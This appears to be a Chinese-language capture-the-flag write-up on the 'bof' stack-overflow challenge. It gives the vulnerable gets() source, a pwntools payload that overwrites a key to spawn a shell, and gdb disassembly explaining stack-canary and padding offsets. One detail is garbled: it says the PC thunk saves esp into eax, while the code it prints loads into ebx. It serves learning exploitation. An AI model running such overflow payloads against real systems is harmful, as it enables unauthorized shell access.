内容简介:虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。这道题一样提供了源代码很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。
虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。
bof
这道题一样提供了源代码
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。
根据函数调用栈的结构如下:
可以直接算出间距length
length = len(overflowme) + len(previous_ebp) + len(return_address)=32 + 4 + 4 = 40
用pwntools发送
p.sendline("A"*40 + p32(0xcafebabe))
发现并不能成功,查看网上的wp发现这道题的间距其实有52,但是根据函数调用栈直接计算应该是40才对
为什么是52
用gdb调试bof程序,查看其汇编代码有
gdb-peda$ disassemble func Dump of assembler code for function func: 0x5655562c <+0>: push ebp 0x5655562d <+1>: mov ebp,esp 0x5655562f <+3>: sub esp,0x48 0x56555632 <+6>: mov eax,gs:0x14 0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x5655563b <+15>: xor eax,eax 0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c 0x56555644 <+24>: call 0xf7e5a360 <puts> 0x56555649 <+29>: lea eax,[ebp-0x2c] 0x5655564c <+32>: mov DWORD PTR [esp],eax 0x5655564f <+35>: call 0xf7e59ae0 <gets> 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe //if(key == 0xcafebabe) 0x5655565b <+47>: jne 0x5655566b <func+63> 0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b 0x56555664 <+56>: call 0xf7e2fd10 <system> 0x56555669 <+61>: jmp 0x56555677 <func+75> 0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3 0x56555672 <+70>: call 0xf7e5a360 <puts> 0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x5655567a <+78>: xor eax,DWORD PTR gs:0x14 0x56555681 <+85>: je 0x56555688 <func+92> 0x56555683 <+87>: call 0xf7efaee0 <__stack_chk_fail> 0x56555688 <+92>: leave 0x56555689 <+93>: ret End of assembler dump.
从汇编代码中可以看到代码执行过程中对栈所执行的操作,在if函数执行前,一共对栈进行了如下操作
0x5655562c <+0>: push ebp 0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c 0x5655564c <+32>: mov DWORD PTR [esp],eax
第一步操作,是将上个函数的栈顶压栈存为当前函数的栈底,第四个操作,是将栈顶指针指向ebp-0x2c以进行gets操作
其中第三个操作中esp的值为ebp-0x48,在overflowme所在栈空间以下不用考虑,但是第二个操作直接对ebp-0xc进行赋值就显得很奇怪,而且ebp-0x2c与ebp-0xc之间刚好隔了32个字节,说明多出的12字节就是来源于这里
网上搜索后发现这十二个字节来源于Canary防护机制,取了gs:0x14的值作为校验值,与汇编中的语句吻合
0x56555632 <+6>: mov eax,gs:0x14
用checksec语句查看防护机制,发现Canary确实存在
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : Partial
所以52字节中多出的12字节就是来源于Canary。
引申问题
换句话说,如果关闭Canary,那间隔应该刚好是40字节。重新编译bof,关闭栈保护
$ gcc -fno-stack-protector -m32 -g -o bof1 bof.c
对bof1进行溢出操作发现还是失败,说明间隔仍然不是40字节,这就与之前的猜测相违背了,查看汇编代码有
gdb-peda$ disassemble func Dump of assembler code for function func: 0x565555ad <+0>: push ebp 0x565555ae <+1>: mov ebp,esp 0x565555b0 <+3>: push ebx 0x565555b1 <+4>: sub esp,0x24 0x565555b4 <+7>: call 0x565554b0 <__x86.get_pc_thunk.bx> 0x565555b9 <+12>: add ebx,0x1a13 => 0x565555bf <+18>: sub esp,0xc 0x565555c2 <+21>: lea eax,[ebx-0x18ec] 0x565555c8 <+27>: push eax 0x565555c9 <+28>: call 0x56555410 <printf@plt> 0x565555ce <+33>: add esp,0x10 0x565555d1 <+36>: sub esp,0xc 0x565555d4 <+39>: lea eax,[ebp-0x28] 0x565555d7 <+42>: push eax 0x565555d8 <+43>: call 0x56555420 <gets@plt> 0x565555dd <+48>: add esp,0x10 0x565555e0 <+51>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x565555e7 <+58>: jne 0x565555fd <func+80> 0x565555e9 <+60>: sub esp,0xc 0x565555ec <+63>: lea eax,[ebx-0x18dd] 0x565555f2 <+69>: push eax 0x565555f3 <+70>: call 0x56555440 <system@plt> 0x565555f8 <+75>: add esp,0x10 0x565555fb <+78>: jmp 0x5655560f <func+98> 0x565555fd <+80>: sub esp,0xc 0x56555600 <+83>: lea eax,[ebx-0x18d5] 0x56555606 <+89>: push eax 0x56555607 <+90>: call 0x56555430 <puts@plt> 0x5655560c <+95>: add esp,0x10 0x5655560f <+98>: nop 0x56555610 <+99>: mov ebx,DWORD PTR [ebp-0x4] 0x56555613 <+102>: leave 0x56555614 <+103>: ret End of assembler dump.
直接计算间隔为0x30,比预估距离多了8字节,在汇编代码可以发现,存入overflowme数组之前,栈空间内存入了ebx,并调用了__x86.get_pc_thunk.bx函数,这个函数的作用就是把esp的值保存在eax(PIC寄存器)中, 以便寻址,因为32位下不支持直接访问PC寄存器,所以需要这样间接调用.
=> 0x565554b0 <__x86.get_pc_thunk.bx>: mov ebx,DWORD PTR [esp] 0x565554b3 <__x86.get_pc_thunk.bx+3>: ret
所以在编译器的作用下,内存间距不一定可以按照理论情况直接进行推算,还是需要实际查看才行。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一文读懂监督学习、无监督学习、半监督学习、强化学习这四种深度学习方式
- 学习:人工智能-机器学习-深度学习概念的区别
- 统计学习,机器学习与深度学习概念的关联与区别
- 混合学习环境下基于学习行为数据的学习预警系统设计与实现
- 学习如何学习
- 深度学习的学习历程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。